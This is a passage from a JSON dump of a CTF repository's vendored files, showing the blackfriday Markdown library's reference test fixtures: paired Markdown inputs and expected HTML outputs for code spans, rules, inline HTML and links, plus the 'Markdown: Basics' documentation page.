    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Code Blocks.text",
    "content": "\tcode block on the first line\n\t\nRegular text.\n\n    code block indented by spaces\n\nRegular text.\n\n\tthe lines in this block  \n\tall contain trailing spaces  \n\nRegular Text.\n\n\tcode block on the last line"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Code Spans.html",
    "content": "<p><code>&lt;test a=&quot;</code> content of attribute <code>&quot;&gt;</code></p>\n\n<p>Fix for backticks within HTML tag: <span attr='`ticks`'>like this</span></p>\n\n<p>Here's how you put <code>`backticks`</code> in a code span.</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Code Spans.text",
    "content": "`<test a=\"` content of attribute `\">`\n\nFix for backticks within HTML tag: <span attr='`ticks`'>like this</span>\n\nHere's how you put `` `backticks` `` in a code span.\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Hard-wrapped paragraphs with list-like lines no empty line before block.html",
    "content": "<p>In Markdown 1.0.0 and earlier. Version</p>\n\n<ol>\n<li>This line turns into a list item.\nBecause a hard-wrapped line in the\nmiddle of a paragraph looked like a\nlist item.</li>\n</ol>\n\n<p>Here's one with a bullet.</p>\n\n<ul>\n<li>criminey.</li>\n</ul>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Hard-wrapped paragraphs with list-like lines no empty line before block.text",
    "content": "In Markdown 1.0.0 and earlier. Version\n8. This line turns into a list item.\nBecause a hard-wrapped line in the\nmiddle of a paragraph looked like a\nlist item.\n\nHere's one with a bullet.\n* criminey.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Hard-wrapped paragraphs with list-like lines.html",
    "content": "<p>In Markdown 1.0.0 and earlier. Version\n8. This line turns into a list item.\nBecause a hard-wrapped line in the\nmiddle of a paragraph looked like a\nlist item.</p>\n\n<p>Here's one with a bullet.\n* criminey.</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Hard-wrapped paragraphs with list-like lines.text",
    "content": "In Markdown 1.0.0 and earlier. Version\n8. This line turns into a list item.\nBecause a hard-wrapped line in the\nmiddle of a paragraph looked like a\nlist item.\n\nHere's one with a bullet.\n* criminey.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Horizontal rules.html",
    "content": "<p>Dashes:</p>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<pre><code>---\n</code></pre>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<pre><code>- - -\n</code></pre>\n\n<p>Asterisks:</p>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<pre><code>***\n</code></pre>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<pre><code>* * *\n</code></pre>\n\n<p>Underscores:</p>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<pre><code>___\n</code></pre>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<hr>\n\n<pre><code>_ _ _\n</code></pre>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Horizontal rules.text",
    "content": "Dashes:\n\n---\n\n ---\n \n  ---\n\n   ---\n\n\t---\n\n- - -\n\n - - -\n \n  - - -\n\n   - - -\n\n\t- - -\n\n\nAsterisks:\n\n***\n\n ***\n \n  ***\n\n   ***\n\n\t***\n\n* * *\n\n * * *\n \n  * * *\n\n   * * *\n\n\t* * *\n\n\nUnderscores:\n\n___\n\n ___\n \n  ___\n\n   ___\n\n    ___\n\n_ _ _\n\n _ _ _\n \n  _ _ _\n\n   _ _ _\n\n    _ _ _\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML (Advanced).html",
    "content": "<p>Simple block on one line:</p>\n\n<div>foo</div>\n\n<p>And nested without indentation:</p>\n\n<div>\n<div>\n<div>\nfoo\n</div>\n<div style=\">\"/>\n</div>\n<div>bar</div>\n</div>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML (Advanced).text",
    "content": "Simple block on one line:\n\n<div>foo</div>\n\nAnd nested without indentation:\n\n<div>\n<div>\n<div>\nfoo\n</div>\n<div style=\">\"/>\n</div>\n<div>bar</div>\n</div>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML (Simple).html",
    "content": "<p>Here's a simple block:</p>\n\n<div>\n    foo\n</div>\n\n<p>This should be a code block, though:</p>\n\n<pre><code>&lt;div&gt;\n    foo\n&lt;/div&gt;\n</code></pre>\n\n<p>As should this:</p>\n\n<pre><code>&lt;div&gt;foo&lt;/div&gt;\n</code></pre>\n\n<p>Now, nested:</p>\n\n<div>\n    <div>\n        <div>\n            foo\n        </div>\n    </div>\n</div>\n\n<p>This should just be an HTML comment:</p>\n\n<!-- Comment -->\n\n<p>Multiline:</p>\n\n<!--\nBlah\nBlah\n-->\n\n<p>Code block:</p>\n\n<pre><code>&lt;!-- Comment --&gt;\n</code></pre>\n\n<p>Just plain comment, with trailing spaces on the line:</p>\n\n<!-- foo -->   \n\n<p>Code:</p>\n\n<pre><code>&lt;hr /&gt;\n</code></pre>\n\n<p>Hr's:</p>\n\n<hr>\n\n<hr/>\n\n<hr />\n\n<hr>   \n\n<hr/>  \n\n<hr /> \n\n<hr class=\"foo\" id=\"bar\" />\n\n<hr class=\"foo\" id=\"bar\"/>\n\n<hr class=\"foo\" id=\"bar\" >\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML (Simple).text",
    "content": "Here's a simple block:\n\n<div>\n\tfoo\n</div>\n\nThis should be a code block, though:\n\n\t<div>\n\t\tfoo\n\t</div>\n\nAs should this:\n\n\t<div>foo</div>\n\nNow, nested:\n\n<div>\n\t<div>\n\t\t<div>\n\t\t\tfoo\n\t\t</div>\n\t</div>\n</div>\n\nThis should just be an HTML comment:\n\n<!-- Comment -->\n\nMultiline:\n\n<!--\nBlah\nBlah\n-->\n\nCode block:\n\n\t<!-- Comment -->\n\nJust plain comment, with trailing spaces on the line:\n\n<!-- foo -->   \n\nCode:\n\n\t<hr />\n\t\nHr's:\n\n<hr>\n\n<hr/>\n\n<hr />\n\n<hr>   \n\n<hr/>  \n\n<hr /> \n\n<hr class=\"foo\" id=\"bar\" />\n\n<hr class=\"foo\" id=\"bar\"/>\n\n<hr class=\"foo\" id=\"bar\" >\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML comments.html",
    "content": "<p>Paragraph one.</p>\n\n<!-- This is a simple comment -->\n\n<!--\n    This is another comment.\n-->\n\n<p>Paragraph two.</p>\n\n<!-- one comment block -- -- with two comments -->\n\n<p>The end.</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Inline HTML comments.text",
    "content": "Paragraph one.\n\n<!-- This is a simple comment -->\n\n<!--\n\tThis is another comment.\n-->\n\nParagraph two.\n\n<!-- one comment block -- -- with two comments -->\n\nThe end.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, inline style.html",
    "content": "<p>Just a <a href=\"/url/\">URL</a>.</p>\n\n<p><a href=\"/url/\" title=\"title\">URL and title</a>.</p>\n\n<p><a href=\"/url/\" title=\"title preceded by two spaces\">URL and title</a>.</p>\n\n<p><a href=\"/url/\" title=\"title preceded by a tab\">URL and title</a>.</p>\n\n<p><a href=\"/url/\" title=\"title has spaces afterward\">URL and title</a>.</p>\n\n<p>[Empty]().</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, inline style.text",
    "content": "Just a [URL](/url/).\n\n[URL and title](/url/ \"title\").\n\n[URL and title](/url/  \"title preceded by two spaces\").\n\n[URL and title](/url/\t\"title preceded by a tab\").\n\n[URL and title](/url/ \"title has spaces afterward\"  ).\n\n\n[Empty]().\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, reference style.html",
    "content": "<p>Foo <a href=\"/url/\" title=\"Title\">bar</a>.</p>\n\n<p>Foo <a href=\"/url/\" title=\"Title\">bar</a>.</p>\n\n<p>Foo <a href=\"/url/\" title=\"Title\">bar</a>.</p>\n\n<p>With <a href=\"/url/\">embedded [brackets]</a>.</p>\n\n<p>Indented <a href=\"/url\">once</a>.</p>\n\n<p>Indented <a href=\"/url\">twice</a>.</p>\n\n<p>Indented <a href=\"/url\">thrice</a>.</p>\n\n<p>Indented [four][] times.</p>\n\n<pre><code>[four]: /url\n</code></pre>\n\n<hr>\n\n<p><a href=\"foo\">this</a> should work</p>\n\n<p>So should <a href=\"foo\">this</a>.</p>\n\n<p>And <a href=\"foo\">this</a>.</p>\n\n<p>And <a href=\"foo\">this</a>.</p>\n\n<p>And <a href=\"foo\">this</a>.</p>\n\n<p>But not [that] [].</p>\n\n<p>Nor [that][].</p>\n\n<p>Nor [that].</p>\n\n<p>[Something in brackets like <a href=\"foo\">this</a> should work]</p>\n\n<p>[Same with <a href=\"foo\">this</a>.]</p>\n\n<p>In this case, <a href=\"/somethingelse/\">this</a> points to something else.</p>\n\n<p>Backslashing should suppress [this] and [this].</p>\n\n<hr>\n\n<p>Here's one where the <a href=\"/url/\">link\nbreaks</a> across lines.</p>\n\n<p>Here's another where the <a href=\"/url/\">link\nbreaks</a> across lines, but with a line-ending space.</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, reference style.text",
    "content": "Foo [bar] [1].\n\nFoo [bar][1].\n\nFoo [bar]\n[1].\n\n[1]: /url/  \"Title\"\n\n\nWith [embedded [brackets]] [b].\n\n\nIndented [once][].\n\nIndented [twice][].\n\nIndented [thrice][].\n\nIndented [four][] times.\n\n [once]: /url\n\n  [twice]: /url\n\n   [thrice]: /url\n\n    [four]: /url\n\n\n[b]: /url/\n\n* * *\n\n[this] [this] should work\n\nSo should [this][this].\n\nAnd [this] [].\n\nAnd [this][].\n\nAnd [this].\n\nBut not [that] [].\n\nNor [that][].\n\nNor [that].\n\n[Something in brackets like [this][] should work]\n\n[Same with [this].]\n\nIn this case, [this](/somethingelse/) points to something else.\n\nBackslashing should suppress \\[this] and [this\\].\n\n[this]: foo\n\n\n* * *\n\nHere's one where the [link\nbreaks] across lines.\n\nHere's another where the [link \nbreaks] across lines, but with a line-ending space.\n\n\n[link breaks]: /url/\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, shortcut references.html",
    "content": "<p>This is the <a href=\"/simple\">simple case</a>.</p>\n\n<p>This one has a <a href=\"/foo\">line\nbreak</a>.</p>\n\n<p>This one has a <a href=\"/foo\">line\nbreak</a> with a line-ending space.</p>\n\n<p><a href=\"/that\">this</a> and the <a href=\"/other\">other</a></p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Links, shortcut references.text",
    "content": "This is the [simple case].\n\n[simple case]: /simple\n\n\n\nThis one has a [line\nbreak].\n\nThis one has a [line \nbreak] with a line-ending space.\n\n[line break]: /foo\n\n\n[this] [that] and the [other]\n\n[this]: /this\n[that]: /that\n[other]: /other\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Literal quotes in titles.html",
    "content": "<p>Foo <a href=\"/url/\" title=\"Title with &quot;quotes&quot; inside\">bar</a>.</p>\n\n<p>Foo <a href=\"/url/\" title=\"Title with &quot;quotes&quot; inside\">bar</a>.</p>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Literal quotes in titles.text",
    "content": "Foo [bar][].\n\nFoo [bar](/url/ \"Title with \"quotes\" inside\").\n\n\n  [bar]: /url/ \"Title with \"quotes\" inside\"\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Markdown Documentation - Basics.html",
    "content": "<h1>Markdown: Basics</h1>\n\n<ul id=\"ProjectSubmenu\">\n    <li><a href=\"/projects/markdown/\" title=\"Markdown Project Page\">Main</a></li>\n    <li><a class=\"selected\" title=\"Markdown Basics\">Basics</a></li>\n    <li><a href=\"/projects/markdown/syntax\" title=\"Markdown Syntax Documentation\">Syntax</a></li>\n    <li><a href=\"/projects/markdown/license\" title=\"Pricing and License Information\">License</a></li>\n    <li><a href=\"/projects/markdown/dingus\" title=\"Online Markdown Web Form\">Dingus</a></li>\n</ul>\n\n<h2>Getting the Gist of Markdown's Formatting Syntax</h2>\n\n<p>This page offers a brief overview of what it's like to use Markdown.\nThe <a href=\"/projects/markdown/syntax\" title=\"Markdown Syntax\">syntax page</a> provides complete, detailed documentation for\nevery feature, but Markdown should be very easy to pick up simply by\nlooking at a few examples of it in action. The examples on this page\nare written in a before/after style, showing example syntax and the\nHTML output produced by Markdown.</p>\n\n<p>It's also helpful to simply try Markdown out; the <a href=\"/projects/markdown/dingus\" title=\"Markdown Dingus\">Dingus</a> is a\nweb application that allows you type your own Markdown-formatted text\nand translate it to XHTML.</p>\n\n<p><strong>Note:</strong> This document is itself written using Markdown; you\ncan <a href=\"/projects/markdown/basics.text\">see the source for it by adding '.text' to the URL</a>.</p>\n\n<h2>Paragraphs, Headers, Blockquotes</h2>\n\n<p>A paragraph is simply one or more consecutive lines of text, separated\nby one or more blank lines. (A blank line is any line that looks like a\nblank line -- a line containing nothing spaces or tabs is considered\nblank.) Normal paragraphs should not be intended with spaces or tabs.</p>\n\n<p>Markdown offers two styles of headers: <em>Setext</em> and <em>atx</em>.\nSetext-style headers for <code>&lt;h1&gt;</code> and <code>&lt;h2&gt;</code> are created by\n&quot;underlining&quot; with equal signs (<code>=</code>) and hyphens (<code>-</code>), respectively.\nTo create an atx-style header, you put 1-6 hash marks (<code>#</code>) at the\nbeginning of the line -- the number of hashes equals the resulting\nHTML header level.</p>\n\n<p>Blockquotes are indicated using email-style '<code>&gt;</code>' angle brackets.</p>\n\n<p>Markdown:</p>\n\n<pre><code>A First Level Header\n====================\n\nA Second Level Header\n---------------------\n\nNow is the time for all good men to come to\nthe aid of their country. This is just a\nregular paragraph.\n\nThe quick brown fox jumped over the lazy\ndog's back.\n\n### Header 3\n\n&gt; This is a blockquote.\n&gt; \n&gt; This is the second paragraph in the blockquote.\n&gt;\n&gt; ## This is an H2 in a blockquote\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;h1&gt;A First Level Header&lt;/h1&gt;\n\n&lt;h2&gt;A Second Level Header&lt;/h2&gt;\n\n&lt;p&gt;Now is the time for all good men to come to\nthe aid of their country. This is just a\nregular paragraph.&lt;/p&gt;\n\n&lt;p&gt;The quick brown fox jumped over the lazy\ndog's back.&lt;/p&gt;\n\n&lt;h3&gt;Header 3&lt;/h3&gt;\n\n&lt;blockquote&gt;\n    &lt;p&gt;This is a blockquote.&lt;/p&gt;\n\n    &lt;p&gt;This is the second paragraph in the blockquote.&lt;/p&gt;\n\n    &lt;h2&gt;This is an H2 in a blockquote&lt;/h2&gt;\n&lt;/blockquote&gt;\n</code></pre>\n\n<h3>Phrase Emphasis</h3>\n\n<p>Markdown uses asterisks and underscores to indicate spans of emphasis.</p>\n\n<p>Markdown:</p>\n\n<pre><code>Some of these words *are emphasized*.\nSome of these words _are emphasized also_.\n\nUse two asterisks for **strong emphasis**.\nOr, if you prefer, __use two underscores instead__.\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;p&gt;Some of these words &lt;em&gt;are emphasized&lt;/em&gt;.\nSome of these words &lt;em&gt;are emphasized also&lt;/em&gt;.&lt;/p&gt;\n\n&lt;p&gt;Use two asterisks for &lt;strong&gt;strong emphasis&lt;/strong&gt;.\nOr, if you prefer, &lt;strong&gt;use two underscores instead&lt;/strong&gt;.&lt;/p&gt;\n</code></pre>\n\n<h2>Lists</h2>\n\n<p>Unordered (bulleted) lists use asterisks, pluses, and hyphens (<code>*</code>,\n<code>+</code>, and <code>-</code>) as list markers. These three markers are\ninterchangable; this:</p>\n\n<pre><code>*   Candy.\n*   Gum.\n*   Booze.\n</code></pre>\n\n<p>this:</p>\n\n<pre><code>+   Candy.\n+   Gum.\n+   Booze.\n</code></pre>\n\n<p>and this:</p>\n\n<pre><code>-   Candy.\n-   Gum.\n-   Booze.\n</code></pre>\n\n<p>all produce the same output:</p>\n\n<pre><code>&lt;ul&gt;\n&lt;li&gt;Candy.&lt;/li&gt;\n&lt;li&gt;Gum.&lt;/li&gt;\n&lt;li&gt;Booze.&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<p>Ordered (numbered) lists use regular numbers, followed by periods, as\nlist markers:</p>\n\n<pre><code>1.  Red\n2.  Green\n3.  Blue\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;ol&gt;\n&lt;li&gt;Red&lt;/li&gt;\n&lt;li&gt;Green&lt;/li&gt;\n&lt;li&gt;Blue&lt;/li&gt;\n&lt;/ol&gt;\n</code></pre>\n\n<p>If you put blank lines between items, you'll get <code>&lt;p&gt;</code> tags for the\nlist item text. You can create multi-paragraph list items by indenting\nthe paragraphs by 4 spaces or 1 tab:</p>\n\n<pre><code>*   A list item.\n\n    With multiple paragraphs.\n\n*   Another item in the list.\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;ul&gt;\n&lt;li&gt;&lt;p&gt;A list item.&lt;/p&gt;\n&lt;p&gt;With multiple paragraphs.&lt;/p&gt;&lt;/li&gt;\n&lt;li&gt;&lt;p&gt;Another item in the list.&lt;/p&gt;&lt;/li&gt;\n&lt;/ul&gt;\n</code></pre>\n\n<h3>Links</h3>\n\n<p>Markdown supports two styles for creating links: <em>inline</em> and\n<em>reference</em>. With both styles, you use square brackets to delimit the\ntext you want to turn into a link.</p>\n\n<p>Inline-style links use parentheses immediately after the link text.\nFor example:</p>\n\n<pre><code>This is an [example link](http://example.com/).\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;p&gt;This is an &lt;a href=&quot;http://example.com/&quot;&gt;\nexample link&lt;/a&gt;.&lt;/p&gt;\n</code></pre>\n\n<p>Optionally, you may include a title attribute in the parentheses:</p>\n\n<pre><code>This is an [example link](http://example.com/ &quot;With a Title&quot;).\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;p&gt;This is an &lt;a href=&quot;http://example.com/&quot; title=&quot;With a Title&quot;&gt;\nexample link&lt;/a&gt;.&lt;/p&gt;\n</code></pre>\n\n<p>Reference-style links allow you to refer to your links by names, which\nyou define elsewhere in your document:</p>\n\n<pre><code>I get 10 times more traffic from [Google][1] than from\n[Yahoo][2] or [MSN][3].\n\n[1]: http://google.com/        &quot;Google&quot;\n[2]: http://search.yahoo.com/  &quot;Yahoo Search&quot;\n[3]: http://search.msn.com/    &quot;MSN Search&quot;\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;p&gt;I get 10 times more traffic from &lt;a href=&quot;http://google.com/&quot;\ntitle=&quot;Google&quot;&gt;Google&lt;/a&gt; than from &lt;a href=&quot;http://search.yahoo.com/&quot;\ntitle=&quot;Yahoo Search&quot;&gt;Yahoo&lt;/a&gt; or &lt;a href=&quot;http://search.msn.com/&quot;\ntitle=&quot;MSN Search&quot;&gt;MSN&lt;/a&gt;.&lt;/p&gt;\n</code></pre>\n\n<p>The title attribute is optional. Link names may contain letters,\nnumbers and spaces, but are <em>not</em> case sensitive:</p>\n\n<pre><code>I start my morning with a cup of coffee and\n[The New York Times][NY Times].\n\n[ny times]: http://www.nytimes.com/\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;p&gt;I start my morning with a cup of coffee and\n&lt;a href=&quot;http://www.nytimes.com/&quot;&gt;The New York Times&lt;/a&gt;.&lt;/p&gt;\n</code></pre>\n\n<h3>Images</h3>\n\n<p>Image syntax is very much like link syntax.</p>\n\n<p>Inline (titles are optional):</p>\n\n<pre><code>![alt text](/path/to/img.jpg &quot;Title&quot;)\n</code></pre>\n\n<p>Reference-style:</p>\n\n<pre><code>![alt text][id]\n\n[id]: /path/to/img.jpg &quot;Title&quot;\n</code></pre>\n\n<p>Both of the above examples produce the same output:</p>\n\n<pre><code>&lt;img src=&quot;/path/to/img.jpg&quot; alt=&quot;alt text&quot; title=&quot;Title&quot; /&gt;\n</code></pre>\n\n<h3>Code</h3>\n\n<p>In a regular paragraph, you can create code span by wrapping text in\nbacktick quotes. Any ampersands (<code>&amp;</code>) and angle brackets (<code>&lt;</code> or\n<code>&gt;</code>) will automatically be translated into HTML entities. This makes\nit easy to use Markdown to write about HTML example code:</p>\n\n<pre><code>I strongly recommend against using any `&lt;blink&gt;` tags.\n\nI wish SmartyPants used named entities like `&amp;mdash;`\ninstead of decimal-encoded entites like `&amp;#8212;`.\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;p&gt;I strongly recommend against using any\n&lt;code&gt;&amp;lt;blink&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;\n\n&lt;p&gt;I wish SmartyPants used named entities like\n&lt;code&gt;&amp;amp;mdash;&lt;/code&gt; instead of decimal-encoded\nentites like &lt;code&gt;&amp;amp;#8212;&lt;/code&gt;.&lt;/p&gt;\n</code></pre>\n\n<p>To specify an entire block of pre-formatted code, indent every line of\nthe block by 4 spaces or 1 tab. Just like with code spans, <code>&amp;</code>, <code>&lt;</code>,\nand <code>&gt;</code> characters will be escaped automatically.</p>\n\n<p>Markdown:</p>\n\n<pre><code>If you want your page to validate under XHTML 1.0 Strict,\nyou've got to put paragraph tags in your blockquotes:\n\n    &lt;blockquote&gt;\n        &lt;p&gt;For example.&lt;/p&gt;\n    &lt;/blockquote&gt;\n</code></pre>\n\n<p>Output:</p>\n\n<pre><code>&lt;p&gt;If you want your page to validate under XHTML 1.0 Strict,\nyou've got to put paragraph tags in your blockquotes:&lt;/p&gt;\n\n&lt;pre&gt;&lt;code&gt;&amp;lt;blockquote&amp;gt;\n    &amp;lt;p&amp;gt;For example.&amp;lt;/p&amp;gt;\n&amp;lt;/blockquote&amp;gt;\n&lt;/code&gt;&lt;/pre&gt;\n</code></pre>\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Markdown Documentation - Basics.text",
    "content": "Markdown: Basics\n================\n\n<ul id=\"ProjectSubmenu\">\n    <li><a href=\"/projects/markdown/\" title=\"Markdown Project Page\">Main</a></li>\n    <li><a class=\"selected\" title=\"Markdown Basics\">Basics</a></li>\n    <li><a href=\"/projects/markdown/syntax\" title=\"Markdown Syntax Documentation\">Syntax</a></li>\n    <li><a href=\"/projects/markdown/license\" title=\"Pricing and License Information\">License</a></li>\n    <li><a href=\"/projects/markdown/dingus\" title=\"Online Markdown Web Form\">Dingus</a></li>\n</ul>\n\n\nGetting the Gist of Markdown's Formatting Syntax\n------------------------------------------------\n\nThis page offers a brief overview of what it's like to use Markdown.\nThe [syntax page] [s] provides complete, detailed documentation for\nevery feature, but Markdown should be very easy to pick up simply by\nlooking at a few examples of it in action. The examples on this page\nare written in a before/after style, showing example syntax and the\nHTML output produced by Markdown.\n\nIt's also helpful to simply try Markdown out; the [Dingus] [d] is a\nweb application that allows you type your own Markdown-formatted text\nand translate it to XHTML.\n\n**Note:** This document is itself written using Markdown; you\ncan [see the source for it by adding '.text' to the URL] [src].\n\n  [s]: /projects/markdown/syntax  \"Markdown Syntax\"\n  [d]: /projects/markdown/dingus  \"Markdown Dingus\"\n  [src]: /projects/markdown/basics.text\n\n\n## Paragraphs, Headers, Blockquotes ##\n\nA paragraph is simply one or more consecutive lines of text, separated\nby one or more blank lines. (A blank line is any line that looks like a\nblank line -- a line containing nothing spaces or tabs is considered\nblank.) Normal paragraphs should not be intended with spaces or tabs.\n\nMarkdown offers two styles of headers: *Setext* and *atx*.\nSetext-style headers for `<h1>` and `<h2>` are created by\n\"underlining\" with equal signs (`=`) and hyphens (`-`), respectively.\nTo create an atx-style header, you put 1-6 hash marks (`#`) at the\nbeginning of the line -- the number of hashes equals the resulting\nHTML header level.\n\nBlockquotes are indicated using email-style '`>`' angle brackets.\n\nMarkdown:\n\n    A First Level Header\n    ====================\n    \n    A Second Level Header\n    ---------------------\n\n    Now is the time for all good men to come to\n    the aid of their country. This is just a\n    regular paragraph.\n\n    The quick brown fox jumped over the lazy\n    dog's back.\n    \n    ### Header 3\n\n    > This is a blockquote.\n    > \n    > This is the second paragraph in the blockquote.\n    >\n    > ## This is an H2 in a blockquote\n\n\nOutput:\n\n    <h1>A First Level Header</h1>\n    \n    <h2>A Second Level Header</h2>\n    \n    <p>Now is the time for all good men to come to\n    the aid of their country. This is just a\n    regular paragraph.</p>\n    \n    <p>The quick brown fox jumped over the lazy\n    dog's back.</p>\n    \n    <h3>Header 3</h3>\n    \n    <blockquote>\n        <p>This is a blockquote.</p>\n        \n        <p>This is the second paragraph in the blockquote.</p>\n        \n        <h2>This is an H2 in a blockquote</h2>\n    </blockquote>\n\n\n\n### Phrase Emphasis ###\n\nMarkdown uses asterisks and underscores to indicate spans of emphasis.\n\nMarkdown:\n\n    Some of these words *are emphasized*.\n    Some of these words _are emphasized also_.\n    \n    Use two asterisks for **strong emphasis**.\n    Or, if you prefer, __use two underscores instead__.\n\nOutput:\n\n    <p>Some of these words <em>are emphasized</em>.\n    Some of these words <em>are emphasized also</em>.</p>\n    \n    <p>Use two asterisks for <strong>strong emphasis</strong>.\n    Or, if you prefer, <strong>use two underscores instead</strong>.</p>\n   \n\n\n## Lists ##\n\nUnordered (bulleted) lists use asterisks, pluses, and hyphens (`*`,\n`+`, and `-`) as list markers. These three markers are\ninterchangable; this:\n\n    *   Candy.\n    *   Gum.\n    *   Booze.\n\nthis:\n\n    +   Candy.\n    +   Gum.\n    +   Booze.\n\nand this:\n\n    -   Candy.\n    -   Gum.\n    -   Booze.\n\nall produce the same output:\n\n    <ul>\n    <li>Candy.</li>\n    <li>Gum.</li>\n    <li>Booze.</li>\n    </ul>\n\nOrdered (numbered) lists use regular numbers, followed by periods, as\nlist markers:\n\n    1.  Red\n    2.  Green\n    3.  Blue\n\nOutput:\n\n    <ol>\n    <li>Red</li>\n    <li>Green</li>\n    <li>Blue</li>\n    </ol>\n\nIf you put blank lines between items, you'll get `<p>` tags for the\nlist item text. You can create multi-paragraph list items by indenting\nthe paragraphs by 4 spaces or 1 tab:\n\n    *   A list item.\n    \n        With multiple paragraphs.\n\n    *   Another item in the list.\n\nOutput:\n\n    <ul>\n    <li><p>A list item.</p>\n    <p>With multiple paragraphs.</p></li>\n    <li><p>Another item in the list.</p></li>\n    </ul>\n    \n\n\n### Links ###\n\nMarkdown supports two styles for creating links: *inline* and\n*reference*. With both styles, you use square brackets to delimit the\ntext you want to turn into a link.\n\nInline-style links use parentheses immediately after the link text.\nFor example:\n\n    This is an [example link](http://example.com/).\n\nOutput:\n\n    <p>This is an <a href=\"http://example.com/\">\n    example link</a>.</p>\n\nOptionally, you may include a title attribute in the parentheses:\n\n    This is an [example link](http://example.com/ \"With a Title\").\n\nOutput:\n\n    <p>This is an <a href=\"http://example.com/\" title=\"With a Title\">\n    example link</a>.</p>\n\nReference-style links allow you to refer to your links by names, which\nyou define elsewhere in your document:\n\n    I get 10 times more traffic from [Google][1] than from\n    [Yahoo][2] or [MSN][3].\n\n    [1]: http://google.com/        \"Google\"\n    [2]: http://search.yahoo.com/  \"Yahoo Search\"\n    [3]: http://search.msn.com/    \"MSN Search\"\n\nOutput:\n\n    <p>I get 10 times more traffic from <a href=\"http://google.com/\"\n    title=\"Google\">Google</a> than from <a href=\"http://search.yahoo.com/\"\n    title=\"Yahoo Search\">Yahoo</a> or <a href=\"http://search.msn.com/\"\n    title=\"MSN Search\">MSN</a>.</p>\n\nThe title attribute is optional. Link names may contain letters,\nnumbers and spaces, but are *not* case sensitive:\n\n    I start my morning with a cup of coffee and\n    [The New York Times][NY Times].\n\n    [ny times]: http://www.nytimes.com/\n\nOutput:\n\n    <p>I start my morning with a cup of coffee and\n    <a href=\"http://www.nytimes.com/\">The New York Times</a>.</p>\n\n\n### Images ###\n\nImage syntax is very much like link syntax.\n\nInline (titles are optional):\n\n    ![alt text](/path/to/img.jpg \"Title\")\n\nReference-style:\n\n    ![alt text][id]\n\n    [id]: /path/to/img.jpg \"Title\"\n\nBoth of the above examples produce the same output:\n\n    <img src=\"/path/to/img.jpg\" alt=\"alt text\" title=\"Title\" />\n\n\n\n### Code ###\n\nIn a regular paragraph, you can create code span by wrapping text in\nbacktick quotes. Any ampersands (`&`) and angle brackets (`<` or\n`>`) will automatically be translated into HTML entities. This makes\nit easy to use Markdown to write about HTML example code:\n\n    I strongly recommend against using any `<blink>` tags.\n\n    I wish SmartyPants used named entities like `&mdash;`\n    instead of decimal-encoded entites like `&#8212;`.\n\nOutput:\n\n    <p>I strongly recommend against using any\n    <code>&lt;blink&gt;</code> tags.</p>\n    \n    <p>I wish SmartyPants used named entities like\n    <code>&amp;mdash;</code> instead of decimal-encoded\n    entites like <code>&amp;#8212;</code>.</p>\n\n\nTo specify an entire block 